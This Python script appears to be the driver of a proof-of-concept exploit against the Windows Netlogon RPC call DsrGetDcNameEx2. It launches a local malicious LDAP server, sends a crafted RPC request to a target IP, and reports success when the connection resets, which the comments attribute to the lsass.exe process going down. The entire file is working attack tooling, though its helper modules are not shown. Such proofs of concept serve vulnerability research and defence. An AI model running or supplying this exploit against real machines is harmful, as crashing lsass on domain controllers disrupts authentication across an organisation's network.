import time
import asyncio
import argparse
import threading

from logger import logger
from rpc_call import DsrGetDcNameEx2
from exploit_server import run_exploit_server

def start_ldap_server(listen_port: int):
    """Run the async LDAP server in this thread."""
    asyncio.run(run_exploit_server(listen_port))

def main():
    parser = argparse.ArgumentParser(
        description="Call NRPC DsrGetDcNameEx2 via Impacket"
    )
    parser.add_argument("target_ip", help="Target IP address (required)")
    parser.add_argument(
        "--port", "-p",
        type=int,
        default=49664,
        help="TCP port for RPC (default: 49664)"
    )
    parser.add_argument(
        "--listen-port", "-l",
        type=int,
        default=389,
        help="UDP port for exploit server listen (default: 389)"
    )
    parser.add_argument(
        "--domain-name", "-d",
        required=True,
        help="DomainName parameter"
    )
    parser.add_argument(
        "--account", "-a",
        default="Administrator",
        help="AccountName parameter (default: Administrator)"
    )
    parser.add_argument(
        "--site-name", "-s",
        default="",
        help="SiteName parameter (default: empty string)"
    )

    args = parser.parse_args()

    # 1. Start the exploit server in a background thread.
    server_thread = threading.Thread(target=start_ldap_server, daemon=True, args=(args.listen_port,))
    server_thread.start()

    # 2. Optionally, wait a moment to ensure server is listening
    logger.info("Waiting for udp server to start...")
    time.sleep(2)  

    # 3. Now call your RPC function
    logger.info("Calling DsrGetDcNameEx2 now...")
    try:
        DsrGetDcNameEx2(
            target_ip=args.target_ip,
            port=args.port,
            account=args.account,
            site_name=args.site_name,
            domain_name=args.domain_name
        )
        logger.error("Failed to trigger the vulnerability!")
    except ConnectionResetError:
        # Netlogon is implemented inside the lsass.exe process,
        # So the connection will be reset after the exploit is triggered.
        logger.info("Successfuly triggered the vulnerability!")


if __name__ == "__main__":
    main()